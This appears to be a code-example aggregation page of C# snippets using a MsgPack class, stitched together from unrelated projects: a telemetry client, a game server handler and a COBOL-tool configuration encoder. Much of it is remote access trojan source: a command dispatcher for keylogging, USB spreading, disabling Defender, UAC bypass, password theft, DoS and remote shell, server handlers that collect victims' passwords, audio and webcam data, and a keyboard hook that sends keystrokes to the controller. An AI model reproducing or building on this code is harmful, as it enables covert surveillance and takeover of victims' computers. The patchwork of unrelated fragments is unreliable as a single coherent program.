                        Packet.FileCopy = null;
                    }
                    break;
                }

                case "renameFile":
                {
                    File.Move(unpack_msgpack.ForcePathObject("File").AsString, unpack_msgpack.ForcePathObject("NewName").AsString);
                    break;
                }

                case "renameFolder":
                {
                    Directory.Move(unpack_msgpack.ForcePathObject("Folder").AsString, unpack_msgpack.ForcePathObject("NewName").AsString);
                    break;;
                }
                }
            }
            catch (Exception ex)
            {
                Debug.WriteLine(ex.Message);
                Error(ex.Message);
            }
        }
Пример #17
0
        private void SendPing(long timestamp)
        {
            if (this._lastPingTime == 0)
            {
                return;
            }

            if (timestamp - this._lastPingTime < RUMConfig.PING_INTERVAL)
            {
                return;
            }

            this._lastPingTime += RUMConfig.PING_INTERVAL;

            if (this._debug)
            {
                Debug.Log("[RUM] ping...");
            }

            long lastEid   = this._pingEid;
            int  lastCount = this._writeCount;

            this._writeCount = 0;
            this._pingEid    = MidGenerator.Gen();

            long salt = this.GenSalt();

            IDictionary <string, object> payload = new Dictionary <string, object>();

            payload.Add("pid", this._pid);
            payload.Add("sign", this.GenSign(salt));
            payload.Add("salt", salt);
            payload.Add("uid", this._uid);
            payload.Add("rid", this._rumEvent.GetRumId());
            payload.Add("sid", this._session);
            payload.Add("cv", this._configVersion);
            payload.Add("pt", this._pingLatency);
            payload.Add("ss", this._rumEvent.GetStorageSize());
            payload.Add("wc", lastCount);
            payload.Add("feid", lastEid);
            payload.Add("teid", this._pingEid);

            MemoryStream outputStream = new MemoryStream();

            MsgPack.Serialize(payload, outputStream);
            outputStream.Position = 0;

            byte[] bytes = outputStream.ToArray();

            FPData data = new FPData();

            data.SetFlag(0x1);
            data.SetMtype(0x1);
            data.SetMethod("ping");
            data.SetPayload(bytes);

            long      pingTime = timestamp;
            RUMClient self     = this;

            this.SendQuest(data, (cbd) => {
                self._pingLatency = Convert.ToInt32(ThreadPool.Instance.GetMilliTimestamp() - pingTime);

                Exception ex = cbd.GetException();

                if (ex != null)
                {
                    self.GetEvent().FireEvent(new EventData("error", ex));
                    return;
                }

                IDictionary <string, object> dict = (IDictionary <string, object>)cbd.GetPayload();

                if (self._debug)
                {
                    Debug.Log("[RUM] ping: " + Json.SerializeToString(dict));
                }

                self._rumEvent.SetTimestamp(Convert.ToInt64(dict["ts"]));
                self._rumEvent.SetSizeLimit(Convert.ToInt32(dict["bw"]));

                int cv = Convert.ToInt32(dict["cv"]);

                if (self._configVersion != cv || (cv == 0 && !self._rumEvent.HasConfig()))
                {
                    self._configVersion = cv;
                    this.LoadConfig();
                }
            }, RUMConfig.PING_INTERVAL);
        }
Пример #18
0
        public void SocketDownload(Clients client, MsgPack unpack_msgpack)
        {
            try
            {
                switch (unpack_msgpack.ForcePathObject("Command").AsString)
                {
                case "pre":
                {
                    if (Program.form1.InvokeRequired)
                    {
                        Program.form1.BeginInvoke((MethodInvoker)(() =>
                            {
                                string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
                                string file = unpack_msgpack.ForcePathObject("File").AsString;
                                string size = unpack_msgpack.ForcePathObject("Size").AsString;
                                FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
                                if (SD != null)
                                {
                                    SD.C = client;
                                    SD.labelfile.Text = Path.GetFileName(file);
                                    SD.dSize = Convert.ToInt64(size);
                                    SD.timer1.Start();
                                }
                            }));
                    }
                    break;
                }

                case "save":
                {
                    if (Program.form1.InvokeRequired)
                    {
                        Program.form1.BeginInvoke((MethodInvoker)(async() =>
                            {
                                try
                                {
                                    string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
                                    FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
                                    if (SD != null)
                                    {
                                        if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))))
                                        {
                                            return;
                                        }
                                        string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString);
                                        if (File.Exists(filename))
                                        {
                                            File.Delete(filename);
                                            await Task.Delay(500);
                                        }
                                        await unpack_msgpack.ForcePathObject("File").SaveBytesToFile(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString));
                                        if (SD != null)
                                        {
                                            SD.Close();
                                        }
                                    }
                                }
                                catch { }
                            }));
                    }
                    break;
                }
                }
            }
            catch { }
        }
Пример #19
0
        private void LoadConfig()
        {
            if (this._debug)
            {
                Debug.Log("[RUM] load config...");
            }

            long salt = this.GenSalt();

            IDictionary <string, object> payload = new Dictionary <string, object>();

            payload.Add("pid", this._pid);
            payload.Add("sign", this.GenSign(salt));
            payload.Add("salt", salt);
            payload.Add("uid", this._uid);
            payload.Add("rid", this._rumEvent.GetRumId());

            payload.Add("lang", RUMPlatform.Instance.GetLang());
            payload.Add("manu", RUMPlatform.Instance.GetManu());
            payload.Add("model", RUMPlatform.Instance.GetModel());
            payload.Add("os", RUMPlatform.Instance.GetOS());
            payload.Add("osv", RUMPlatform.Instance.GetOSV());
            payload.Add("nw", RUMPlatform.Instance.GetNetwork());
            payload.Add("carrier", RUMPlatform.Instance.GetCarrier());
            payload.Add("from", RUMPlatform.Instance.GetFrom());
            payload.Add("appv", this._appv);

            MemoryStream outputStream = new MemoryStream();

            MsgPack.Serialize(payload, outputStream);
            outputStream.Position = 0;

            byte[] bytes = outputStream.ToArray();

            FPData data = new FPData();

            data.SetFlag(0x1);
            data.SetMtype(0x1);
            data.SetMethod("getconfig");
            data.SetPayload(bytes);

            RUMClient self = this;

            this.SendQuest(data, (cbd) => {
                Exception ex = cbd.GetException();

                if (ex != null)
                {
                    self._configVersion = 0;
                    self.GetEvent().FireEvent(new EventData("error", ex));
                    return;
                }

                IDictionary <string, object> dict = (IDictionary <string, object>)cbd.GetPayload();

                if (self._debug)
                {
                    Debug.Log("[RUM] load config: " + Json.SerializeToString(dict));
                }

                self._rumEvent.UpdateConfig((IDictionary <string, object>)dict["events"]);
            }, RUMConfig.SENT_TIMEOUT);
        }
Пример #20
0
 public void SetState(byte[] encodedState)
 {
     State.Set(MsgPack.Deserialize <IndexedDictionary <string, object> > (new MemoryStream(encodedState)));
     previousState = encodedState;
 }
Пример #21
0
        public static void Read(Clients Client, byte[] Data)
        {
            try
            {
                MsgPack unpack_msgpack = new MsgPack();
                unpack_msgpack.DecodeFromBytes(Data);
                switch (unpack_msgpack.ForcePathObject("Packet").AsString)
                {
                case "ClientInfo":
                    if (Program.form1.listView1.InvokeRequired)
                    {
                        Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
                        {
                            Client.LV = new ListViewItem();
                            Client.LV.Tag = Client;
                            Client.LV.Text = string.Format("{0}:{1}", Client.Client.RemoteEndPoint.ToString().Split(':')[0], Client.Client.LocalEndPoint.ToString().Split(':')[1]);
                            string[] ipinf = cNewGeoUse.GetIpInf(Client.Client.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
                            Client.LV.SubItems.Add(ipinf[1]);
                            Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
                            Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
                            Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
                            Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
                            Client.LV.ToolTipText = unpack_msgpack.ForcePathObject("Path").AsString;
                            Client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
                            Program.form1.listView1.Items.Insert(0, Client.LV);
                            lock (Settings.Online)
                                Settings.Online.Add(Client);
                        }));
                    }
                    break;

                case "Ping":
                {
                    Debug.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString);
                }
                break;

                case "Received":
                {
                    if (Program.form1.listView1.InvokeRequired)
                    {
                        Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
                            {
                                Client.LV.ForeColor = Color.Empty;
                            }));
                    }
                }
                break;

                case "remoteDesktop":
                {
                    if (Program.form1.InvokeRequired)
                    {
                        Program.form1.BeginInvoke((MethodInvoker)(() =>
                            {
                                RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + Client.ID];
                                try
                                {
                                    if (RD != null && RD.Active == true)
                                    {
                                        byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
                                        Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));

                                        if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20))
                                        {
                                            RD.pictureBox1.Image = (Bitmap)decoded;
                                            RD.RenderSW = Stopwatch.StartNew();
                                        }
                                        RD.FPS++;
                                        if (RD.sw.ElapsedMilliseconds >= 1000)
                                        {
                                            RD.Text = "RemoteDesktop:" + Client.ID + "    FPS:" + RD.FPS + "    Screen:" + decoded.Width + " x " + decoded.Height + "    Size:" + Methods.BytesToString(RdpStream.Length);
                                            RD.FPS = 0;
                                            RD.sw = Stopwatch.StartNew();
                                        }
                                    }
                                    else
                                    {
                                        MsgPack msgpack = new MsgPack();
                                        msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
                                        msgpack.ForcePathObject("Option").AsString = "false";
                                        Client.BeginSend(msgpack.Encode2Bytes());
                                    }
                                }
                                catch (Exception ex) { Debug.WriteLine(ex.Message); }
                            }));
                    }
                }
                break;

                case "processManager":
                {
                    if (Program.form1.InvokeRequired)
                    {
                        Program.form1.BeginInvoke((MethodInvoker)(() =>
                            {
                                ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + Client.ID];
                                if (PM != null)
                                {
                                    PM.listView1.Items.Clear();
                                    string AllProcess = unpack_msgpack.ForcePathObject("Message").AsString;
                                    string data = AllProcess.ToString();
                                    string[] _NextProc = data.Split(new[] { "-=>" }, StringSplitOptions.None);
                                    for (int i = 0; i < _NextProc.Length; i++)
                                    {
                                        if (_NextProc[i].Length > 0)
                                        {
                                            ListViewItem lv = new ListViewItem();
                                            lv.Text = Path.GetFileName(_NextProc[i]);
                                            lv.SubItems.Add(_NextProc[i + 1]);
                                            lv.ToolTipText = _NextProc[i];
                                            Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2])));
                                            PM.imageList1.Images.Add(_NextProc[i + 1], im);
                                            lv.ImageKey = _NextProc[i + 1];
                                            PM.listView1.Items.Add(lv);
                                        }
                                        i += 2;
                                    }
                                }
                            }));
                    }
                }
                break;
                }
            }
            catch (Exception ex)
            {
                Debug.WriteLine(ex.Message);
            }
        }
Пример #22
0
 private void HandOutMsg(MsgPack pack)
 {
     switch ((CMD)pack.msg.cmd)
     {
     }
 }
Пример #23
0
        public void AddToListview(Clients client, MsgPack unpack_msgpack)
        {
            try
            {
                lock (Settings.LockBlocked)
                {
                    try
                    {
                        if (Settings.Blocked.Count > 0)
                        {
                            if (Settings.Blocked.Contains(unpack_msgpack.ForcePathObject("HWID").AsString))
                            {
                                client.Disconnected();
                                return;
                            }
                            else if (Settings.Blocked.Contains(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]))
                            {
                                client.Disconnected();
                                return;
                            }
                        }
                    }
                    catch { }
                }

                client.LV = new ListViewItem
                {
                    Tag  = client,
                    Text = string.Format("{0}:{1}", client.TcpClient.RemoteEndPoint.ToString().Split(':')[0], client.TcpClient.LocalEndPoint.ToString().Split(':')[1]),
                };
                string[] ipinf;
                try
                {
                    ipinf = Program.form1.cGeoMain.GetIpInf(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
                    client.LV.SubItems.Add(ipinf[1]);
                    try
                    {
                        client.LV.ImageKey = ipinf[2] + ".png";
                    }
                    catch { }
                }
                catch
                {
                    client.LV.SubItems.Add("??");
                }

                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
                try
                {
                    client.LV.SubItems.Add(Convert.ToDateTime(unpack_msgpack.ForcePathObject("Installed").AsString).ToLocalTime().ToString());
                }
                catch
                {
                    try
                    {
                        client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Installed").AsString);
                    }
                    catch
                    {
                        client.LV.SubItems.Add("??");
                    }
                }
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString);
                client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Antivirus").AsString);
                client.LV.SubItems.Add("0000 MS");
                try
                {
                    client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString.Replace("MINER 0", "MINER Offline").Replace("MINER 1", "MINER Online"));
                }
                catch
                {
                    client.LV.SubItems.Add("??");
                }
                client.LV.ToolTipText             = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
                client.LV.ToolTipText            += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString;
                client.ID                         = unpack_msgpack.ForcePathObject("HWID").AsString;
                client.LV.UseItemStyleForSubItems = false;
                Program.form1.Invoke((MethodInvoker)(() =>
                {
                    lock (Settings.LockListviewClients)
                    {
                        Program.form1.listView1.Items.Add(client.LV);
                        Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
                    }

                    if (Properties.Settings.Default.Notification == true)
                    {
                        Program.form1.notifyIcon1.BalloonTipText = $@"Connected 
{client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} : {client.TcpClient.LocalEndPoint.ToString().Split(':')[1]}";
                        Program.form1.notifyIcon1.ShowBalloonTip(100);
                    }

                    new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} connected", Color.Green);
                }));
            }
            catch { }
        }
Пример #24
0
        public static void Read(object data)
        {
            try
            {
                MsgPack unpack_msgpack = new MsgPack();
                unpack_msgpack.DecodeFromBytes((byte[])data);
                switch (unpack_msgpack.ForcePathObject("Packet").AsString)
                {
                case "sendMessage":
                {
                    MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString);
                    break;
                }

                case "Ping":
                {
                    Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString);
                    break;
                }


                case "thumbnails":
                {
                    new HandleGetScreenShot();
                    break;
                }

                case "sendFile":
                {
                    Received();
                    new HandleSendTo().SendToDisk(unpack_msgpack);
                    break;
                }

                case "sendMemory":
                {
                    Received();
                    new HandleSendTo().SendToMemory(unpack_msgpack);
                    break;
                }

                case "recoveryPassword":
                {
                    Received();
                    new HandlerRecovery(unpack_msgpack);
                    break;
                }

                case "defender":
                {
                    new HandleWindowsDefender();
                    break;
                }

                case "uac":
                {
                    new HandleUAC();
                    break;
                }

                case "close":
                {
                    try
                    {
                        ClientSocket.Client.Shutdown(SocketShutdown.Both);
                        ClientSocket.Client.Dispose();
                    }
                    catch { }
                    Environment.Exit(0);
                    break;
                }

                case "restart":
                {
                    try
                    {
                        ClientSocket.Client.Shutdown(SocketShutdown.Both);
                        ClientSocket.Client.Dispose();
                    }
                    catch { }
                    Process.Start(Application.ExecutablePath);
                    Environment.Exit(0);
                    break;
                }

                case "uninstall":
                {
                    new HandleUninstall();
                    break;
                }

                case "usbSpread":
                {
                    HandleLimeUSB limeUSB = new HandleLimeUSB();
                    limeUSB.Run();
                    break;
                }

                case "remoteDesktop":
                {
                    HandleRemoteDesktop remoteDesktop = new HandleRemoteDesktop();
                    remoteDesktop.CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger));
                    break;
                }

                case "processManager":
                {
                    switch (unpack_msgpack.ForcePathObject("Option").AsString)
                    {
                    case "List":
                    {
                        new HandleProcessManager().ProcessList();
                        break;
                    }

                    case "Kill":
                    {
                        new HandleProcessManager().ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString));
                        break;
                    }
                    }
                }
                break;

                case "fileManager":
                {
                    switch (unpack_msgpack.ForcePathObject("Command").AsString)
                    {
                    case "getDrivers":
                    {
                        FileManager fileManager = new FileManager();
                        fileManager.GetDrivers();
                        break;
                    }

                    case "getPath":
                    {
                        FileManager fileManager = new FileManager();
                        fileManager.GetPath(unpack_msgpack.ForcePathObject("Path").AsString);
                        break;
                    }

                    case "uploadFile":
                    {
                        string fullPath = unpack_msgpack.ForcePathObject("Name").AsString;
                        if (File.Exists(fullPath))
                        {
                            File.Delete(fullPath);
                            Thread.Sleep(500);
                        }
                        unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
                        break;
                    }

                    case "reqUploadFile":
                    {
                        FileManager fileManager = new FileManager();
                        fileManager.ReqUpload(unpack_msgpack.ForcePathObject("ID").AsString);
                        break;
                    }

                    case "deleteFile":
                    {
                        string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
                        File.Delete(fullPath);
                        break;
                    }

                    case "execute":
                    {
                        string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
                        Process.Start(fullPath);
                        break;
                    }
                    }
                }
                break;

                case "socketDownload":
                {
                    FileManager fileManager = new FileManager();
                    string      file        = unpack_msgpack.ForcePathObject("File").AsString;
                    string      dwid        = unpack_msgpack.ForcePathObject("DWID").AsString;
                    fileManager.DownnloadFile(file, dwid);
                    break;
                }

                case "botKiller":
                {
                    HandleBotKiller botKiller = new HandleBotKiller();
                    botKiller.RunBotKiller();
                    break;
                }

                case "keyLogger":
                {
                    FileManager fileManager = new FileManager();
                    string      isON        = unpack_msgpack.ForcePathObject("isON").AsString;
                    if (isON == "true")
                    {
                        new Thread(() =>
                            {
                                HandleLimeLogger.isON = true;
                                HandleLimeLogger.Run();
                            }).Start();
                    }
                    else
                    {
                        HandleLimeLogger.isON = false;
                    }
                    break;
                }

                case "visitURL":
                {
                    string url = unpack_msgpack.ForcePathObject("URL").AsString;
                    if (url.StartsWith("http"))
                    {
                        Process.Start(url);
                    }
                    break;
                }

                case "dos":
                {
                    switch (unpack_msgpack.ForcePathObject("Option").AsString)
                    {
                    case "postStart":
                    {
                        HandleDos handleDos = new HandleDos();
                        cts = new CancellationTokenSource();
                        handleDos.DosPost(unpack_msgpack);
                        break;
                    }

                    case "postStop":
                    {
                        cts.Cancel();
                        break;
                    }
                    }
                    break;
                }

                case "shell":
                {
                    HandleShell.StarShell();
                    break;
                }

                case "shellWriteInput":
                {
                    if (HandleShell.ProcessShell != null)
                    {
                        HandleShell.ShellWriteLine(unpack_msgpack.ForcePathObject("WriteInput").AsString);
                    }
                    break;
                }

                case "chat":
                {
                    new HandlerChat().CreateChat();
                    break;
                }

                case "chatWriteInput":
                {
                    new HandlerChat().WriteInput(unpack_msgpack);
                    break;
                }

                case "chatExit":
                {
                    new HandlerChat().ExitChat();
                    break;
                }
                }
            }
            catch { }
        }
Пример #25
0
 public byte[] Serialize(T data)
 {
     msgpack = new MsgPack();
     Encode(data);
     return(msgpack.Encode2Bytes());
 }
Пример #26
0
        public void Read(object o)
        {
            try
            {
                MsgPack unpack_msgpack = new MsgPack();
                unpack_msgpack.DecodeFromBytes(data);
                Program.form1.Invoke((MethodInvoker)(() =>
                {
                    switch (unpack_msgpack.ForcePathObject("Pac_ket").AsString)
                    {
                    case "ClientInfo":
                        {
                            ThreadPool.QueueUserWorkItem(delegate {
                                new HandleListView().AddToListview(client, unpack_msgpack);
                            });
                            break;
                        }

                    case "Ping":
                        {
                            new HandlePing().Ping(client, unpack_msgpack);
                            break;
                        }

                    case "Po_ng":
                        {
                            new HandlePing().Po_ng(client, unpack_msgpack);
                            break;
                        }

                    case "Logs":
                        {
                            new HandleLogs().Addmsg($"From {client.Ip} client: {unpack_msgpack.ForcePathObject("Message").AsString}", Color.Black);
                            break;
                        }

                    case "thumbnails":
                        {
                            client.ID = unpack_msgpack.ForcePathObject("Hwid").AsString;
                            new HandleThumbnails(client, unpack_msgpack);
                            break;
                        }

                    case "Received":
                        {
                            new HandleListView().Received(client);
                            break;
                        }

                    case "Error":
                        {
                            new HandleLogs().Addmsg($"Erroe from {client.Ip} client: {unpack_msgpack.ForcePathObject("Error").AsString}", Color.Red);

                            /*lock (Settings.LockListviewClients)
                             * {
                             *  client.LV.ForeColor = Color.Empty;
                             * }*/
                            break;
                        }

                    case "remoteDesktop":
                        {
                            new HandleRemoteDesktop().Capture(client, unpack_msgpack);
                            break;
                        }

                    case "processManager":
                        {
                            new HandleProcessManager().GetProcess(client, unpack_msgpack);
                            break;
                        }


                    case "socketDownload":
                        {
                            new HandleFileManager().SocketDownload(client, unpack_msgpack);
                            break;
                        }

                    case "keyLogger":
                        {
                            new HandleKeylogger(client, unpack_msgpack);
                            break;
                        }

                    case "fileManager":
                        {
                            new HandleFileManager().FileManager(client, unpack_msgpack);
                            break;
                        }

                    case "shell":
                        {
                            new HandleShell(unpack_msgpack, client);
                            break;
                        }

                    case "chat":
                        {
                            new HandleChat().Read(unpack_msgpack, client);
                            break;
                        }

                    case "chat-":
                        {
                            new HandleChat().GetClient(unpack_msgpack, client);
                            break;
                        }

                    case "reportWindow":
                        {
                            new HandleReportWindow(client, unpack_msgpack.ForcePathObject("Report").AsString);
                            break;
                        }

                    case "reportWindow-":
                        {
                            if (Settings.ReportWindow == false)
                            {
                                MsgPack packet = new MsgPack();
                                packet.ForcePathObject("Pac_ket").AsString = "reportWindow";
                                packet.ForcePathObject("Option").AsString = "stop";
                                ThreadPool.QueueUserWorkItem(client.Send, packet.Encode2Bytes());
                                return;
                            }
                            lock (Settings.LockReportWindowClients)
                                Settings.ReportWindowClients.Add(client);
                            break;
                        }

                    case "webcam":
                        {
                            new HandleWebcam(unpack_msgpack, client);
                            break;
                        }

                    case "dosAdd":
                        {
                            new HandleDos().Add(client, unpack_msgpack);
                            break;
                        }

                    case "sendPlugin":
                        {
                            new HandleLogs().Addmsg($"Sending plugun to {client.Ip} ……", Color.Blue);
                            ThreadPool.QueueUserWorkItem(delegate {
                                client.SendPlugin(unpack_msgpack.ForcePathObject("Hashes").AsString);
                            });
                            break;
                        }

                    case "fileSearcher":
                        {
                            new HandlerFileSearcher().SaveZipFile(client, unpack_msgpack);
                            break;
                        }

                    case "Information":
                        {
                            new HandleInformation().AddToInformationList(client, unpack_msgpack);
                            break;
                        }

                    case "Password":
                        {
                            new HandlePassword().SavePassword(client, unpack_msgpack);
                            break;
                        }

                    case "Audio":
                        {
                            new HandleAudio().SaveAudio(client, unpack_msgpack);
                            break;
                        }

                    case "recoveryPassword":
                        {
                            new HandleRecovery(client, unpack_msgpack);
                            break;
                        }
                    }
                }));
            }
            catch
            {
                return;
            }
        }
Пример #27
0
 public T Deserialize(Stream input)
 {
     msgpack = new MsgPack();
     msgpack.DecodeFromStream(input);
     return(Decode());
 }
        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            try
            {
                if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
                {
                    int    vkCode     = Marshal.ReadInt32(lParam);
                    bool   CapsLock   = (((ushort)GetKeyState(0x14)) & 0xffff) != 0;
                    string currentKey = KeyboardLayout((uint)vkCode);

                    if (CapsLock)
                    {
                        currentKey = KeyboardLayout((uint)vkCode).ToUpper();
                    }
                    else
                    {
                        currentKey = KeyboardLayout((uint)vkCode).ToLower();
                    }

                    if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24)
                    {
                        currentKey = "[" + (Keys)vkCode + "]";
                    }

                    else
                    {
                        switch (((Keys)vkCode).ToString())
                        {
                        case "Space":
                            currentKey = " ";
                            break;

                        case "Return":
                            currentKey = "[ENTER]\n";
                            break;

                        case "Escape":
                            currentKey = "[ESC]\n";
                            break;

                        case "LControlKey":
                            currentKey = "[CTRL]";
                            break;

                        case "RControlKey":
                            currentKey = "[CTRL]";
                            break;

                        case "RShiftKey":
                            currentKey = "[Shift]";
                            break;

                        case "LShiftKey":
                            currentKey = "[Shift]";
                            break;

                        case "Back":
                            currentKey = "[Back]";
                            break;

                        case "LWin":
                            currentKey = "[WIN]";
                            break;

                        case "Tab":
                            currentKey = "[Tab]\n";
                            break;
                        }
                    }

                    StringBuilder sb = new StringBuilder();
                    if (CurrentActiveWindowTitle == GetActiveWindowTitle())
                    {
                        sb.Append(currentKey);
                    }
                    else
                    {
                        sb.Append(Environment.NewLine);
                        sb.Append(Environment.NewLine);
                        sb.Append($"###  {GetActiveWindowTitle()} ###");
                        sb.Append(Environment.NewLine);
                        sb.Append(currentKey);
                    }
                    MsgPack msgpack = new MsgPack();
                    msgpack.ForcePathObject("Packet").AsString = "keyLogger";
                    msgpack.ForcePathObject("log").AsString    = sb.ToString();
                    ClientSocket.Send(msgpack.Encode2Bytes());
                }
                return(CallNextHookEx(_hookID, nCode, wParam, lParam));
            }
            catch
            {
                return(IntPtr.Zero);
            }
        }
Пример #29
0
 public T Deserialize(byte[] input)
 {
     msgpack = new MsgPack();
     msgpack.DecodeFromBytes(input);
     return(Decode());
 }
Пример #30
0
    public void ReqStrong(MsgPack pack)
    {
        ReqStrong data = pack.Msg.reqStrong;


        GameMsg msg = new GameMsg()
        {
            cmd = (int)CMD.RspStrong
        };

        PlayerData pd            = cacheSvc.GetPlayerDataBySession(pack.Session);
        int        currentStarLv = pd.strongArr[data.pos];
        StrongCfg  nextStrongCfg = CfgSvc.Instance.GetStrongCfg(data.pos, currentStarLv + 1);

        //条件判断
        if (pd.lv < nextStrongCfg.minLv)
        {
            msg.err = (int)ErrorCode.LackLevel;
        }
        else if (pd.coin < nextStrongCfg.coin)
        {
            msg.err = (int)ErrorCode.LackCoin;
        }
        else if (pd.crystal < nextStrongCfg.crystal)
        {
            msg.err = (int)ErrorCode.LackCrystal;
        }
        else
        {
            //任务进度数据更新
            TaskSys.Instance.CalcTaskPrgs(pd, 3);

            //资源扣除
            pd.coin    -= nextStrongCfg.coin;
            pd.crystal -= nextStrongCfg.crystal;

            //星级+1
            pd.strongArr[data.pos] += 1;

            //增加属性
            pd.hp    += nextStrongCfg.addhp;
            pd.ad    += nextStrongCfg.addhurt;
            pd.ap    += nextStrongCfg.addhurt;
            pd.addef += nextStrongCfg.adddef;
            pd.apdef += nextStrongCfg.adddef;
        }

        //更新数据库
        if (!cacheSvc.UpdatePlayerData(pd.id, pd))
        {
            msg.err = (int)ErrorCode.UpdateDBError;
        }
        else
        {
            msg.rspStrong = new RspStrong()
            {
                coin      = pd.coin,
                crystal   = pd.crystal,
                hp        = pd.hp,
                ad        = pd.ad,
                ap        = pd.ap,
                addef     = pd.addef,
                apdef     = pd.apdef,
                strongArr = pd.strongArr
            };
        }

        pack.Session.SendMsg(msg);
    }
Пример #31
0
        internal static void Encode(MsgPack msgpack, TypeCobolConfiguration data)
        {
            msgpack.ForcePathObject("ErrorFile").AsString    = string.IsNullOrEmpty(data.ErrorFile)?string.Empty:data.ErrorFile;
            msgpack.ForcePathObject("skeletonPath").AsString = string.IsNullOrEmpty(data.skeletonPath) ? string.Empty : data.skeletonPath;
            msgpack.ForcePathObject("ExecToStep").AsString   = data.ExecToStep.ToString();
            msgpack.ForcePathObject("EncFormat").AsString    = string.IsNullOrEmpty(data.EncFormat) ? string.Empty : data.EncFormat;
            msgpack.ForcePathObject("HaltOnMissingCopyFilePath").AsString = string.IsNullOrEmpty(data.HaltOnMissingCopyFilePath) ? string.Empty : data.HaltOnMissingCopyFilePath;
            msgpack.ForcePathObject("AutoRmarks").AsString = Convert.ToString(data.AutoRemarks);
            msgpack.ForcePathObject("Telemetry").AsString  = Convert.ToString(data.Telemetry);



            MsgPack item;

            item = msgpack.ForcePathObject("InputFiles");

            if (data.InputFiles != null && data.InputFiles.Count > 0)
            {
                foreach (string inputFile in data.InputFiles)
                {
                    var child = item.AddArrayChild();
                    child.ForcePathObject("InputFile").AsString = inputFile;
                }
            }

            item = msgpack.ForcePathObject("OutputFiles");

            if (data.OutputFiles != null && data.OutputFiles.Count > 0)
            {
                foreach (string outputFile in data.OutputFiles)
                {
                    var child = item.AddArrayChild();
                    child.ForcePathObject("OutputFile").AsString = outputFile;
                }
            }

            item = msgpack.ForcePathObject("CopyFolders");

            if (data.CopyFolders != null && data.CopyFolders.Count > 0)
            {
                foreach (string copyFolder in data.CopyFolders)
                {
                    var child = item.AddArrayChild();
                    child.ForcePathObject("CopyFolder").AsString = copyFolder;
                }
            }

            item = msgpack.ForcePathObject("Copies");

            if (data.Copies != null && data.Copies.Count > 0)
            {
                foreach (string copy in data.Copies)
                {
                    var child = item.AddArrayChild();
                    child.ForcePathObject("Copy").AsString = copy;
                }
            }


            item = msgpack.ForcePathObject("Dependencies");
            if (data.Dependencies != null)
            {
                foreach (string dependecy in data.Dependencies)
                {
                    var child = item.AddArrayChild();
                    child.ForcePathObject("Dependency").AsString = dependecy;
                }
            }
        }